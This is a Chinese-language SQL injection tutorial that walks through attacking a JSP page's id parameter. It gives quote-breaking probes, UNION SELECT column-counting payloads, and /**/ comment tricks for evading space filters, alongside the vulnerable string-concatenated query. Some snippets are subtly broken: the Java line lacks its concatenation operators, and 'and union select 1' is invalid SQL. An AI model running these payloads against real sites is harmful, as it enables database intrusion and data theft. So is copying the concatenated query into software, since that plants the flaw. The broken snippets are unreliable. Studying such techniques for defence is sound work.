(坏狼安全网提供图1)
这个就是数据库里的记录了.以后黄色为关键语句,红色为输入的部分.
大家注意看resultSet = statment.executeQuery("select * from account
where accountId = ’" request.getParameter("id") "’");
这里的request.getParameter("id") 是获取GET 传参的id 参数, 也就是
mysqlInject.jsp?id=1 这里的id. 这样这个SQL 语句就变成了select * from
account where accountId = ’1’ 了.如果加以变换呢?
2.1 漏洞的检测
我们把id 写成mysqlInject.jsp?id=1’ 那么SQL 语句就变成select * from
account where accountId = ’1’’ 了,这样的话SQL 语句就会报错,因为SQL 语句的值
是需要2 个包含符号,比如’和”如果只是数字可以什么都不写.如果不报错的话就说明程序替换,
过滤或者其他方法来防护了.
那么我们可以继续来测验, mysqlInject.jsp?id=1’ and ’’=’ 那么SQL 语句就变
成了select * from account where accountId = ’1’ and ’’ = ’’ ,应该返回正
常.
有些人说我的为什么返回不正常呢? 有2 种原因,第一是程序把恶意字符过滤了;第二是程
序的语句和我写的不一样select * from account where accountId = 1’ and ’’=’.
这个问题在下边会谈到.
2.2 Union 查询猜此次查询列的数量
这里有的人会说猜此次查询列的数量有什么用?如果只是检测当然没有,但是你想进一
步的利用那么就有大的用处了,文章后边会讲到的,耐心.
如果懂SQL 的人应该知道UNION 查询吧?UNION 查询就是联合查询,执行第二条查询
语句将返回值和本次查询合并.
大家想想,如果要和本次查询值合并需要一个什么条件呢?需要联合查询的列数和此
次查询的列数相等.如果不想等的话就会无法合并,那么就会报错.通过这一特点聪明的你应该
会想出这么才列数了吧?
那么我们要的就是使得UNION 查询出来的列数与本次查询出来的列数相等.也就是说不报
错就会相等.
先从第一列开始猜,那么要把这个语句union select 1 构造在地址程序的语句当中.
那么语句就是mysqlInject.jsp?id=1’ and union select 1 and ’’=’ 这样的.
有些人问为什么后边(绿色的部分)要加上and ’’=’ 呢? 也许大家记了吧,我们的SQL 语
句是需要两个包含符号的,语句select * from account where accountId = ’1’ 我
们输入的是在1 那个位置,所以要去除后边的’,否则语句会报错的.
在本程序里也就是’ 如果你要想消除’ 有很多办法,为了让大家明白所以我现在使用and
’’=’.
先说一说有几种办法消除这个’
1. 使用 and ’’ = ’ 虽然不够方便,但是在复杂SQL 语句里不会报错的.
2. 使用注释 # 或者 /**/, 这样可以把后面的东西全部注释掉,但是有一个大问题,就
是在执行复杂SQL 语句的时候有可能会报错.
有些人测试,咦?为什么我加了#还是会报错呢?因为本次是使用GET 传参,在地址栏传
参.大家想想,当初下载带#名称的数据库是什么样子呢?哦,对了,#是地址栏的结束符,
就是说#包括#以后的字符全部不传入.所以#在GET 模式下注入注入不起作用.
那么有些工具写的在构造注射的时候为什么是
mysqlInject.jsp?id=1’/**/and/**/union/**/select/**/1/**/and/**/’’
/**/= /**/’/* 呢? 因为在程序里边有函数可以把传入参数里面的空格去除,如果去除
了空格,将会是程序产生了错误的语句,那么就会一直报错了.所以有些工具就是用/**/这
种东西来取代空格了.
那 /**/ 又是什么呢? /**/ 是一种注释,叫做文档注释,就是从/* 开始直到*/ 结束,中
间任何代码都会成为注释,所以是程序员在写大量注释时候所使用的一种注释.
那最后的/* 是什么呢? 那个是用来解决 SQL 语句 包含符号没有成双成对的.
我们开始测试.
mysqlInject.jsp?id=1 ’/**/union/**/select/**/1/*
select * from account where accountId = ’1
’/**/union/**/select/**/1/*’.
注意到最低下那句话了吗?
javax.servlet.ServletException: The used SELECT statements have a
different number of columns
大概意思是”这个使用的查询列数不同”,由此得出此次查询不是查询了一个表.
以此类推, select 1 select 1,2 select 1,2,3 知道正确位置,那么你现在说写的列数也
就是本次查询的列数了.